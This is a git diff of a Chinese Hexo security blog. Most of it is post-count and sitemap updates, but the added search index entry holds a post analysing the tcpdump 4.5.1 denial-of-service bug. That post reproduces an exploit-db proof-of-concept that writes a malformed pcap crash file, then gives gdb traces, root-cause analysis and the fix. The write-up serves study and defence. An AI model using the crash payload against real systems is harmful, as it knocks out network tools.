+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/archives/2018/index.html b/archives/2018/index.html index 56339166..70ef76e1 100644 --- a/archives/2018/index.html +++ b/archives/2018/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -308,6 +308,41 @@ +
+
+ +

+ + + +

+ +
+ +
+ +
+
+ + + + + + + + + + + + + +
@@ -387,7 +422,7 @@ - 6 + 7 日志 @@ -486,7 +521,7 @@ - 7.7k + 11.1k diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html index 98b13d01..06c1ecf5 100644 --- a/archives/2019/01/index.html +++ b/archives/2019/01/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -387,7 +387,7 @@ - 6 + 7 日志 @@ -486,7 +486,7 @@ - 7.7k + 11.1k diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html index 2760eff2..eaf4c0bc 100644 --- a/archives/2019/02/index.html +++ b/archives/2019/02/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -387,7 +387,7 @@ - 6 + 7 日志 @@ -486,7 +486,7 @@ - 7.7k + 11.1k diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html index 51e9b683..e3e9a8a2 100644 --- a/archives/2019/03/index.html +++ b/archives/2019/03/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -308,41 +308,6 @@ - - - - - - - - - - - - - - -
@@ -422,7 +387,7 @@ - 6 + 7 日志 @@ -521,7 +486,7 @@ - 7.7k + 11.1k diff --git a/archives/2019/12/index.html b/archives/2019/12/index.html new file mode 100644 index 00000000..df98e4e4 --- /dev/null +++ b/archives/2019/12/index.html @@ -0,0 +1,1126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 归档 | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + + + + +
+
+ + + + + + + + + 嗯..! 目前共计 7 篇日志。 继续努力。 + + + + + + + + + + +
+

2019

+
+ + + + + + + + + + + +
+
+ + + + + + + + +
+ + + + + +
+ + + +
+
+ + + +
+
+ + + + + +
+
+ +
+
+
© 2019 + + + + Cool-Y + + + | + + + + + 11.1k + +
+ + +
由 Hexo 强力驱动
+ + + + + + + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + +
+
+ + +
+ + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/archives/2019/index.html b/archives/2019/index.html index 6ec2a75f..dfe7c38f 100644 --- a/archives/2019/index.html +++ b/archives/2019/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -313,17 +313,17 @@

-

-
@@ -492,7 +492,7 @@ - 6 + 7 日志 @@ -591,7 +591,7 @@ - 7.7k + 11.1k diff --git a/archives/index.html b/archives/index.html index aba242d8..f6b29f26 100644 --- a/archives/index.html +++ b/archives/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -313,17 +313,17 @@

-

-
@@ -453,6 +453,41 @@ + + + + + + + + + + + + + + +
@@ -572,7 +607,7 @@ - 6 + 7 日志 @@ -671,7 +706,7 @@ - 7.7k + 11.1k diff --git a/baidusitemap.xml b/baidusitemap.xml index ff75a0c7..d02da5e0 100644 --- a/baidusitemap.xml +++ b/baidusitemap.xml @@ -1,7 +1,10 @@ - https://cool-y.github.io/2019/03/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + https://cool-y.github.io/2019/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/ + 2019-03-23 + + https://cool-y.github.io/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ 2019-03-23 https://cool-y.github.io/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/ diff --git a/categories/IOT/index.html b/categories/IOT/index.html index 7b6cd800..d6d7652c 100644 --- a/categories/IOT/index.html +++ b/categories/IOT/index.html @@ -368,7 +368,7 @@ - 6 + 7 日志 @@ -467,7 +467,7 @@ - 7.7k + 11.1k diff --git a/categories/index.html b/categories/index.html index 110dfa11..5428ef9e 100644 --- a/categories/index.html +++ b/categories/index.html @@ -359,7 +359,7 @@ - 6 + 7 日志 @@ -458,7 +458,7 @@ - 7.7k + 11.1k diff --git a/categories/加密解密/index.html b/categories/加密解密/index.html index 40c509ad..ae36da16 100644 --- a/categories/加密解密/index.html +++ b/categories/加密解密/index.html @@ -368,7 +368,7 @@ - 6 + 7 日志 @@ -467,7 +467,7 @@ - 7.7k + 11.1k diff --git a/categories/理论学习/index.html b/categories/理论学习/index.html index 55e4bde7..40b0a72e 100644 --- a/categories/理论学习/index.html +++ b/categories/理论学习/index.html @@ -368,7 +368,7 @@ - 6 + 7 日志 @@ -467,7 +467,7 @@ - 7.7k + 11.1k diff --git a/categories/顶会论文/index.html b/categories/顶会论文/index.html index 083b1a05..688fd6f5 100644 --- a/categories/顶会论文/index.html +++ b/categories/顶会论文/index.html @@ -295,17 +295,17 @@

-

-
@@ -321,17 +321,17 @@

-

-
@@ -394,7 +394,7 @@ - 6 + 7 日志 @@ -493,7 +493,7 @@ - 7.7k + 11.1k diff --git a/index.html b/index.html index 56b57a96..d8b1ac52 100644 --- a/index.html +++ b/index.html @@ -291,7 +291,7 @@
- +
@@ -1537,7 +1702,7 @@ - 7.7k + 11.1k diff --git a/search.xml b/search.xml index 25550d27..de3a09f4 100644 --- a/search.xml +++ b/search.xml @@ -4,29 +4,13 @@ - Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices - - /2019/03/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + TCPDUMP拒绝服务攻击漏洞 + + /2019/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/ - 论文来源：USENIX SECURITY 2018
下载：
原文pdf
中文slides

论文解读

1. 概要：

  • 物联网（IoT）设备的快速增长的格局为其管理和安全性带来了重大的技术挑战，因为这些物联网设备来自不同的设备类型，供应商和产品模型。
  • 物联网设备的发现是表征，监控和保护这些设备的先决条件。然而，手动设备注释阻碍了大规模发现，并且基于机器学习的设备分类需要具有标签的大型训练数据。因此，大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。
  • 这篇文章提出了一种基于采集规则的引擎（ARE），它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则，以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。
  • 为了收集交易集，ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以（类型，供应商和产品）的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。

2. 背景与动机：

  • 物联网蓬勃发展，造就了物联网设备的广泛应用，它不仅种类繁多，包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等，而且数量庞大，据统计，每天就会新增5500000台物联网设备。
  • 但是由于设备脆弱、缺乏管理和配置不当，物联网设备相比传统计算机要更不安全，比如之前爆发的Mirai僵尸网络，给美国造成了重大的损失。因此，为了更主动地保护IOT设备，提前发现、登记和注释物联网设备成为先决条件。
  • 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”，传统生成设备注释的方法有基于指纹的，也有使用标志获取的，前者对数据集和大量设备模型的要求很高，而后者需要专业知识的人工方式，因此不可能用于大规模注释而且很难去维护更新。

所以，作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实，第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备，第二个Figure 2是有许多网站（如产品测评）会描述设备产品。从第一个事实，我们可以从应用层数据包获取关键词，然后根据这些关键词依据第二个事实进行网页爬虫，以获取网页上的相关描述，然后对这些描述进行自然语言处理和数据挖掘，从而建立起基于规则的映射。

3. 核心工作—Rule Miner：

Rule Miner由三个部分构成，Transaction set是一对由应用层数据和相关网页组成的文本单元，它生成了一种规则： ，其中A是从应用层数据包中提取的一些特征，B是从相关网页抓取的设备描述；Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别)，前者解决了设备类型和供应商名，后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)，以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好，但好在实体与实体之间具有很高的依赖性，这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。

4. 完整架构和应用

完整的ARE除了核心Rule Miner之外，还有Transaction Collection用于收集响应数据和网络爬虫，Rule Library用于存储生成的规则，Planner用于更新规则。
作者主要将ARE应用于三个方面，一是互联网范围的设备测量统计，二是对受损设备进行检测，三是对易受攻击的设备进行分析。

之后对ARE的效果与Nmap进行比较和评估，从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价，ARE都要优于Nmap。

5. 工作总结：

  • 提出ARE的框架：不需要数据集和人工干预，自动生成用于IOT设备识别的规则。
  • 实现了ARE的原型并评估了它的效果：ARE在一周内生成了大量的规则，而且IOT设备识别的细粒度超过现有工具。
  • 应用于三个场景中，主要发现有：大量IOT设备在互联网中可以抵达；成千上万的IOT设备易受攻击且暴露给了公众。
]]> + TCPDUMP 4.5.1 拒绝服务攻击漏洞分析

一、Tcpdump介绍

  1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap.
  2. tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。
  3. 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。

二、分析环境

Ubuntu 16.04.4 LTS i686
tcpdump 4.5.1
gdb with peda

三、漏洞复现

这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。

1.编译安装tcpdump

1
2
3
4
5
6
7
8
9
10
11
1.# apt-get install libpcap-dev
2.# dpkg -l libpcap-dev
3.# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
4.# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
5.# cd tcpdump-4.5.1/
6.# ./configure
7.# make
8.# make install
9.# tcpdump –-version
          tcpdump version 4.5.1
          libpcap version 1.7.4

2.生成payload（来自exploit-db payload）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep

def crash():
    command = 'tcpdump -r crash'
    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()

四、崩溃分析

1.pcap包格式

首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。

1
2
3
4
5
6
7
8
9
struct pcap_file_header {
        bpf_u_int32 magic;
        u_short version_major;
        u_short version_minor;
        bpf_int32 thiszone;     /* gmt to local correction */
        bpf_u_int32 sigfigs;    /* accuracy of timestamps */
        bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
        bpf_u_int32 linktype;   /* data link type (LINKTYPE_*) */
};

看一下各字段的含义：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 magic：   4字节 pcap文件标识 目前为“d4 c3 b2 a1”
 major：   2字节 主版本号     #define PCAP_VERSION_MAJOR 2
 minor：   2字节 次版本号     #define PCAP_VERSION_MINOR 4
 thiszone：4字节 时区修正     并未使用，目前全为0
 sigfigs： 4字节 精确时间戳   并未使用，目前全为0
 snaplen： 4字节 抓包最大长度 如果要抓全，设为0x0000ffff（65535），
          tcpdump -s 0就是设置这个参数，缺省为68字节
 linktype：4字节 链路类型    一般都是1：ethernet

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
struct timeval {
        long            tv_sec;         /* seconds (XXX should be time_t) */
        suseconds_t     tv_usec;        /* and microseconds */
};
 ts：    8字节 抓包时间 4字节表示秒数，4字节表示微秒数
 caplen：4字节 保存下来的包长度（最多是snaplen，比如68字节）
 len：   4字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大

其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37
这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。

2.gdb调试

首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1.Program received signal SIGSEGV, Segmentation fault.
2.[----------------------------------registers-----------------------------------]
3.EAX: 0x1
4.EBX: 0x81e33bd --> 0x0
5.ECX: 0x2e ('.')
6.EDX: 0x0
7.ESI: 0xbfffe201 ('.' <repeats 14 times>)
8.EDI: 0xbfffe1db --> 0x30303000 ('')
9.EBP: 0x10621
10.ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>:   mov    ecx,DWORD PTR [esp+0xc])
11.EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>:  movzx  edx,BYTE PTR [ebx+ebp*2+0x1])
12.EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
13.[-------------------------------------code-------------------------------------]
14.   0x8053c5d <hex_and_ascii_print_with_offset+93>:      je     0x8053d40 <hex_and_ascii_print_with_offset+320>
15.   0x8053c63 <hex_and_ascii_print_with_offset+99>:      mov    ebx,DWORD PTR [esp+0x18]
16.   0x8053c67 <hex_and_ascii_print_with_offset+103>:     sub    esp,0x4
17.=> 0x8053c6a <hex_and_ascii_print_with_offset+106>:     movzx  edx,BYTE PTR [ebx+ebp*2+0x1]
18.   0x8053c6f <hex_and_ascii_print_with_offset+111>:     movzx  ecx,BYTE PTR [ebx+ebp*2]
19.   0x8053c73 <hex_and_ascii_print_with_offset+115>:     push   edx
20.   0x8053c74 <hex_and_ascii_print_with_offset+116>:     mov    ebx,edx
21.   0x8053c76 <hex_and_ascii_print_with_offset+118>:     mov    DWORD PTR [esp+0x18],edx
22.[------------------------------------stack-------------------------------------]
23.0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>:  mov    ecx,DWORD PTR [esp+0xc])
24.0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c
25.0008| 0xbfffe1b4 --> 0x1
26.0012| 0xbfffe1b8 --> 0x2f5967 ('gY/')
27.0016| 0xbfffe1bc --> 0x0
28.0020| 0xbfffe1c0 --> 0x0
29.0024| 0xbfffe1c4 --> 0x7ffffff9
30.0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0
31.[------------------------------------------------------------------------------]
32.Legend: code, data, rodata, value
33.Stopped reason: SIGSEGV
34.hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
35.    length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
36.91                      s2 = *cp++;

从崩溃信息来看，出错位置为s2 = cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp2+0x1]的内容，可能是越界读取造成的崩溃。
再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。
我们通过bt回溯一下调用情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
1.gdb-peda$ bt
2.#0  hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
3.    length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
4.#1  0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127
5.#2  0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180
6.#3  0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377")
7.    at ./tcpdump.c:1950
8.#4  0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
9.#5  0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
10.#6  0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569
11.#7  0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>,
12.    fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291
13.#8  0x0804c245 in _start ()

函数调用流程

1
2
3
4
pcap_loop
  |----print_packet
                 |-----hex_and_ascii_print
                                |--------  hex_and_ascii_print_with_offset

由此可见，从main函数开始了一连串函数调用，git源码下来看看。
tcpdump.c找到pcap_loop调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.    do {
2.        status = pcap_loop(pd, cnt, callback, pcap_userdata);
3.        if (WFileName == NULL) {
4.            /*
5.             * We're printing packets.  Flush the printed output,
6.             * so it doesn't get intermingled with error output.
7.             */
8.            if (status == -2) {
9.                /*
10.                 * We got interrupted, so perhaps we didn't
11.                 * manage to finish a line we were printing.
12.                 * Print an extra newline, just in case.
13.                 */
14.                putchar('n');
15.            }
16.            (void)fflush(stdout);
17.        }

设置断点之后查看一下该函数的执行结果

pcap_loop通过callback指向print_packet,来看一下它的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.static void
2.print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
3.{
4.    struct print_info *print_info;
5.    u_int hdrlen;
6.    ++packets_captured;
7.    ++infodelay;
8.    ts_print(&h->ts);
9.    print_info = (struct print_info *)user;
10.    /*
11.     * Some printers want to check that they're not walking off the
12.     * end of the packet.
13.     * Rather than pass it all the way down, we set this global.
14.     */
15.    snapend = sp + h->caplen;
16.        if(print_info->ndo_type) {
17.                hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
18.        } else {
19.                hdrlen = (*print_info->p.printer)(h, sp);
20.        }
21.    putchar('n');
22.    --infodelay;
23.    if (infoprint)
24.        info(0);}

同样设置断点看该函数是如何调用执行的

这是我们可以根据call的信息，计算出调用的函数名

其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
25.u_int
26.ieee802_15_4_if_print(struct netdissect_options *ndo,
27.const struct pcap_pkthdr *h, const u_char *p)
28.{
29.printf("address : %x\n",p);
30.u_int caplen = h->caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为8
31.int hdrlen;
32.u_int16_t fc;
33.u_int8_t seq;
34.if (caplen < 3) { //不满足
35.ND_PRINT((ndo, "[|802.15.4] %x", caplen));
36.return caplen;
37.}
38.fc = EXTRACT_LE_16BITS(p);
39.hdrlen = extract_header_length(fc);
40.seq = EXTRACT_LE_8BITS(p + 2);
41.p += 3;
42.caplen -= 3;//此时caplen = 5
43.ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
44.if (vflag)
45.ND_PRINT((ndo,"seq %02x ", seq));
46.if (hdrlen == -1) {
47.ND_PRINT((ndo,"malformed! "));
48.return caplen;
49.}
50.if (!vflag) {
51.p+= hdrlen;
52.caplen -= hdrlen;
53.} else {
54.u_int16_t panid = 0;
55.switch ((fc >> 10) & 0x3) {
56.case 0x00:
57.ND_PRINT((ndo,"none "));
58.break;
59.case 0x01:
60.ND_PRINT((ndo,"reserved destination addressing mode"));
61.return 0;
62.case 0x02:
63.panid = EXTRACT_LE_16BITS(p);
64.p += 2;
65.ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
66.p += 2;
67.break;
68.case 0x03:
69.panid = EXTRACT_LE_16BITS(p);
70.p += 2;
71.ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
72.p += 8;
73.break;
74.}
75.ND_PRINT((ndo,"< ");
76.switch ((fc >> 14) & 0x3) {
77.case 0x00:
78.ND_PRINT((ndo,"none "));
79.break;
80.case 0x01:
81.ND_PRINT((ndo,"reserved source addressing mode"));
82.return 0;
83.case 0x02:
84.if (!(fc & (1 << 6))) {
85.panid = EXTRACT_LE_16BITS(p);
86.p += 2;
87.}
88.ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
89.p += 2;
90.break;
91.case 0x03:
92.if (!(fc & (1 << 6))) {
93.panid = EXTRACT_LE_16BITS(p);
94.p += 2;
95.}
96.ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
97.p += 8;
98.break;
99.}
100.caplen -= hdrlen;
101.}

传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。
直接跟进函数，看看最后赋值情况

从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。
继续跟进hex_and_asciii_print(ndo_default_print)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.void
2.hex_and_ascii_print(register const char *ident, register const u_char *cp,
3.    register u_int length)
4.{
5.    hex_and_ascii_print_with_offset(ident, cp, length, 0);
6.}

其中length==0xfffffff3，继续执行
1.void
2.hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
3.              register u_int oset)
4.{
5.    register u_int i, s;
6.    register int nshorts;
7.
8.    nshorts = (u_int) length / sizeof(u_short);
9.    i = 0;
10.    while (--nshorts >= 0) {
11.        if ((i++ % 8) == 0) {
12.            (void)printf("%s0x%04x: ", ident, oset);
13.            oset += HEXDUMP_BYTES_PER_LINE;
14.        }
15.        s = *cp++;   <======= 抛出错误位置
16.        (void)printf(" %02x%02x", s, *cp++);
17.    }
18.    if (length & 1) {
19.        if ((i % 8) == 0)
20.            (void)printf("%s0x%04x: ", ident, oset);
21.        (void)printf(" %02x", *cp);
22.    }
nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬

但数据包数据没有这么长，导致了crash。

3.内存分析

仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。
通过查看epx的值来看一下这个内存到底开辟到什么位置

1
2
3
4
1.gdb-peda$ x/10000000x 0x81e33bd
2.0x8203fdd:      0x00000000      0x00000000      0x00000000      0x00000000
3.0x8203fed:      0x00000000      0x00000000      0x00000000      0x00000000
4.0x8203ffd:      Cannot access memory at address 0x8204000

可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。
来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –> 0x0；EBP: 0x10621；
EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。

4.漏洞总结

总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。

五、漏洞修补

Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本
在hex_and_ascii_print_with_offset中增加对caplength的判断

1
2
3
4
5
6
7
8
9
1.caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
2.if (length > caplength)
3.    length = caplength;
4.nshorts = length / sizeof(u_short);
5.i = 0;
6.hsp = hexstuff; asp = asciistuff;
7.while (--nshorts >= 0) {
8.    ...
9.}

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。

参考
exploit-db payload
WHEREISK0SHL分析博客
libpcap/tcpdump源码

]]> - - - 顶会论文 - - - - - - - USENIX - - 数据挖掘 - - 自然语言处理 - - @@ -117,6 +101,35 @@ + + Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices + + /2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + + 论文来源：USENIX SECURITY 2018
下载：
原文pdf
中文slides

论文解读

1. 概要：

  • 物联网（IoT）设备的快速增长的格局为其管理和安全性带来了重大的技术挑战，因为这些物联网设备来自不同的设备类型，供应商和产品模型。
  • 物联网设备的发现是表征，监控和保护这些设备的先决条件。然而，手动设备注释阻碍了大规模发现，并且基于机器学习的设备分类需要具有标签的大型训练数据。因此，大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。
